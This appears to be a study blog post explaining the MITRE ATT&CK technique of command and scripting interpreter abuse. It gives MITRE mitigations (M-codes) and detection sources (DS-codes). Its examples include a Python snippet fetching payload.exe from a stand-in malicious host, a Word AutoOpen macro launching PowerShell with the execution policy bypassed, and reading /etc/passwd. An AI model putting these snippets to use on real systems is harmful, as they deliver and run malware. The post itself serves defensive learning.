psk-study

Execution-Command and Scripting Interpreter

박서경's photo
박서경
·

4 min read

Table of contents

Command and Scripting Interpreter

A Command and Scripting Interpreter is a program that allows users or systems to execute commands, scripts, or automate tasks on an operating system or application. These interpreters process and run command-line inputs or scripting languages to perform administrative actions, automate workflows, or execute arbitrary code.

While interpreters are essential for system management, adversaries can exploit them to execute malicious scripts, issue commands remotely, or automate attacks on compromised systems.

Types of Command and Scripting Interpreters

1. Command-Line Interfaces (CLI) Interpreters

These interpreters process individual commands for system management and automation.

✔ Common CLI Interpreters:

  • Windows Command Prompt (cmd.exe)

  • PowerShell (powershell.exe)

  • Unix/Linux Shells (bash, sh, zsh)

✔ Example:

  • Running a command to list system users:

      cat /etc/passwd  # Linux
  net user         # Windows

🚨 Security Concern:
Attackers can abuse these interpreters to execute arbitrary system commands, escalate privileges, or exfiltrate data.

2. Scripting Language Interpreters

These interpreters execute scripts written in programming or scripting languages.

✔ Common Scripting Interpreters:

  • Python (python3, python.exe)

  • Perl (perl)

  • Ruby (ruby)

  • JavaScript (node.js)

✔ Example:

  • Executing a Python script to download a file:

      import requests
  response = requests.get("http://malicious-site.com/payload.exe")
  open("payload.exe", "wb").write(response.content)

🚨 Security Concern:

  • Attackers can write malicious scripts to bypass security controls and maintain persistence.

3. Macro and Embedded Script Interpreters

These interpreters execute scripts embedded in documents or applications.

✔ Common Macro/Embedded Script Interpreters:

  • Microsoft Office Macros (VBA, .docm, .xlsm)

  • JavaScript in PDFs (Adobe JavaScript)

  • Windows Management Instrumentation (wmic)

✔ Example:

  • VBA Macro in a Word document executing PowerShell:

      Sub AutoOpen()
      Dim objShell As Object
      Set objShell = CreateObject("WScript.Shell")
      objShell.Run "powershell.exe -ExecutionPolicy Bypass -NoProfile -File payload.ps1"
  End Sub

🚨 Security Concern:

  • Attackers use malicious macros to automate malware execution when a user opens an infected document.

Adversarial Use of Command and Scripting Interpreters

💀 Common Attack Scenarios:

  1. Remote Command Execution:

    • Attackers use interpreters to execute malicious commands remotely.

    • Example: Running PowerShell to download malware.

  2. Privilege Escalation:

    • Exploiting scripting interpreters to bypass restrictions and gain admin rights.

  3. Fileless Malware Attacks:

    • Running payloads entirely in memory using interpreters (e.g., PowerShell, JavaScript).

  4. Persistence and Backdoor Execution:

    • Using scheduled scripts or macros to maintain long-term access.

Mitigations

M1049 - Antivirus/Antimalware

  • Use antivirus solutions to automatically detect and quarantine suspicious files.

M1047 - Audit

  • Regularly inventory systems to check for unauthorized installations of command and scripting interpreters.

M1040 - Behavior Prevention on Endpoint

  • On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Visual Basic and JavaScript scripts from executing potentially malicious downloaded content.

M1045 - Code Signing

  • Allow only signed scripts to be executed to reduce the risk of running malicious scripts.

M1042 - Disable or Remove Feature or Program

  • Disable or remove unused interpreters or shells to limit their availability.

M1038 - Execution Prevention

  • Use application control mechanisms.

  • Example: PowerShell Constrained Language mode restricts execution of certain commands that interact with Windows APIs or files.

M1033 - Limit Software Installation

  • Prevent users from installing unnecessary command and scripting interpreters to reduce attack vectors.

M1026 - Privileged Account Management

  • Restrict PowerShell execution to administrators only.

  • PowerShell JEA (Just Enough Administration) can be used to sandbox admin access and limit available commands.

M1021 - Restrict Web-Based Content

  • Use script-blocking browser extensions to prevent the execution of HTA files and scripts commonly used in exploits.

  • Ad blockers can prevent malicious code from being loaded via online advertisements.

Detection (탐지 방법)

DS0017 - Command Execution Monitoring

  • Monitor command-line arguments for script execution and post-compromise activities.

  • Suspicious scripts often perform system discovery, data collection, or network-related activities.

✅ Detects: Suspicious script execution using PowerShell, Python, Bash, etc.

DS0011 - Module Load Monitoring

  • Track module loads for scripting-related libraries (e.g., JScript.dll, vbscript.dll).

DS0009 - Process Creation Monitoring

  • Monitor process execution of command-line interpreters and scripting tools.

DS0012 - Script Execution Monitoring

  • Monitor script execution attempts, especially outside of normal patching or administrative windows.

Summary

✔ Mitigation Strategies:

  • Restrict script execution (e.g., PowerShell Execution Policies, JEA, application whitelisting).

  • Limit user privileges to prevent unauthorized interpreter use.

  • Enforce script signing and prevent unsigned script execution.

  • Remove unused interpreters to reduce the attack surface.

✔ Detection Strategies:

  • Monitor for suspicious script executions and unusual PowerShell or Bash usage.

  • Track unexpected module loads associated with scripting languages.

  • Analyze process creation logs for unauthorized command executions.

By implementing these mitigation and detection techniques, organizations can significantly reduce the risk of scripting interpreter abuse in their environment. 🚀

#execution